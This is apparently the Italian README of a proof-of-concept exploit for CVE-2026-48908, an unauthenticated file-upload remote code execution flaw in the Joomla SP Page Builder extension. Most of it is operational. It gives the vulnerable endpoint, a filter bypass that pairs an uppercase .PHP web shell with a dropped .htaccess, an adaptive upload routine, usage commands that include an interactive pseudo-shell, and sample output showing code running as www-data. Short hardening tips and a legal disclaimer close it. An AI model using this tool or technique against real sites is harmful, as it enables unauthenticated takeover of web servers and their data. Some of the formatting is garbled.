
Exploit proof-of-concept per CVE-2026-48908, una RCE non autenticata in Joomla SP Page Builder tramite upload di file arbitrario, con consegna del payload adattiva e pulizia.
| CVE | CVE-2026-48908 |
| Debolezza | CWE-284 Controllo di accesso improprio → Caricamento file arbitrario non autenticato → RCE |
| Componente | SP Page Builder (com_sppagebuilder) per Joomla |
| Versioni affette | 1.0.0 – 6.6.1 |
| Corretto in | 6.6.2 |
| Privilegi richiesti | Nessuno (pre-autenticazione) |
| Interazione utente | Nessuna |
SP Page Builder espone il task del controller asset.uploadCustomIcon per gestire il caricamento di un pacchetto di icone personalizzate:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
Nelle versioni affette, questo task è raggiungibile senza autenticazione e senza un token anti-CSRF valido. Accetta un archivio ZIP (campo multipart custom_icon) e estrae il suo contenuto in una directory pubblicamente accessibile via web sotto la root del documento:
/media/com_sppagebuilder/assets/iconfont/<nome>/ (inclusa la sottocartella fonts/)
Poiché il caricamento è raggiungibile pre-autenticazione e i file estratti finiscono nella root web, un attaccante può scrivere file controllati in una posizione navigabile e raggiungerli via HTTP.
Alcune build aggiungono un filtro lato server sui nomi dei file nell'archivio. Questo PoC aggira una comune implementazione con una catena a tre passaggi:
.php minuscolo, .phtml, .phar, .php3–.php8, .pht, .inc, … ma non normalizza le maiuscole, quindi .PHP (e altre varianti con maiuscole miste) e .htaccess passano.<FilesMatch "\.php$">) esegue solo .php minuscolo, quindi un .PHP caricato viene inizialmente servito come testo sorgente, non eseguito..htaccess. Un .htaccess (che la blocklist non blocca) contenente AddType application/x-httpd-php .PHP viene depositato insieme al payload. Dove AllowOverride lo permette, questo registra .PHP come PHP e la shell caricata viene eseguita.Il PoC impacchetta sempre una struttura valida di font icona (selection.json, style.css, fonts/<nome>.ttf) in modo che il caricamento sia accettato, quindi aggiunge la shell.
Adattivo — percorre una lista di estensioni eseguibili PHP (prima quelle con minore impronta), poi un fallback .htaccess, e si ferma al primo che esegue effettivamente codice:
fonts/<shell>.<ext> per ciascuna di
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. Nessun .htaccess.
Diversi filtri di SP Page Builder bloccano insiemi diversi, e diverse configurazioni Apache eseguono estensioni diverse — quindi questo trova qualsiasi combinazione che il target permette ed esegue.fonts/.htaccess + fonts/<shell>.PHP (fallback) — solo se ogni tentativo diretto fallisce.
Il .htaccess depositato (AddType … .PHP) forza l'esecuzione di un .PHP maiuscolo dove AllowOverride lo permette (è ciò di cui hanno bisogno gli host in stile 5.4.6).Si ferma al primo metodo che esegue e stampa quale è atterrato. Ogni caricamento accettato viene tracciato, quindi --cleanup rimuove tutti (tentativi multipli possono lasciare directory scrivibili ma vuote).
A seconda della versione e dell'indurimento del server il risultato varia, e il PoC lo dichiara esplicitamente (vedi Risultati sotto): RCE completa, solo scrittura file (PHP disabilitato /
AllowOverride None), corretto (solo admin), o non vulnerabile.
pip install -r requirements.txt # requests
# conferma la vulnerabilità e prova l'esecuzione di codice (esegue `id`)
python3 sppb_rce.py https://target.example
# esegue un comando specifico
python3 sppb_rce.py --url target.example -c "uname -a"
# pseudo-shell interattiva
python3 sppb_rce.py https://target.example --shell
# solo verifica; nessun comando
python3 sppb_rce.py https://target.example --check
# rimuove la directory del payload caricato dopo
python3 sppb_rce.py https://target.example --cleanup
Il target può essere fornito come argomento posizionale o tramite --url, con o senza schema.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
Il PoC comunica sempre il verdetto per il target:
| Output | Significato | Uscita |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | Vulnerabile — RCE completa non autenticata | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | Solo scrittura file (AllowOverride None / PHP disabilitato in /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | Corretto — il caricamento ora richiede autenticazione admin | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | Non sfruttabile / componente assente | 2 |
404 a chiunque non lo possieda — non è una backdoor aperta a tutti.--cleanup elimina la directory del payload creata.id, un marker aritmetico)./media/, /images/, /tmp) tramite il pool FPM o php_admin_flag engine off.AllowOverride None su quelle directory in modo che un .htaccess depositato non possa riabilitare gli handler..php/.PHP inaspettati sotto media/.../iconfont/, nuovi account Super User e file manager piantati.Joomla SP Page Builder exploit · com_sppagebuilder RCE non autenticata · CVE-2026-48908 PoC · asset.uploadCustomIcon upload file arbitrario · Joomla remote code execution · script exploit pentest.
Questo software è pubblicato solo per scopi educativi e test di sicurezza autorizzati — ad esempio test di penetrazione per i quali si dispone di autorizzazione scritta, programmi bug-bounty che includono il target nello scope, competizioni CTF e propri sistemi di laboratorio.
Accedere, modificare o interrompere sistemi informatici senza autorizzazione è illegale nella maggior parte delle giurisdizioni. Sei l'unico e intero responsabile delle tue azioni. Usando, scaricando o distribuendo questo codice accetti che:
Se non accetti questi termini, non utilizzare questo software. Come per qualsiasi exploit/PoC pubblicamente disponibile, viene condiviso in buona fede per aiutare i difensori a rilevare, comprendere e correggere la vulnerabilità; ciò che ne fai è affar tuo.
MIT — vedi LICENSE.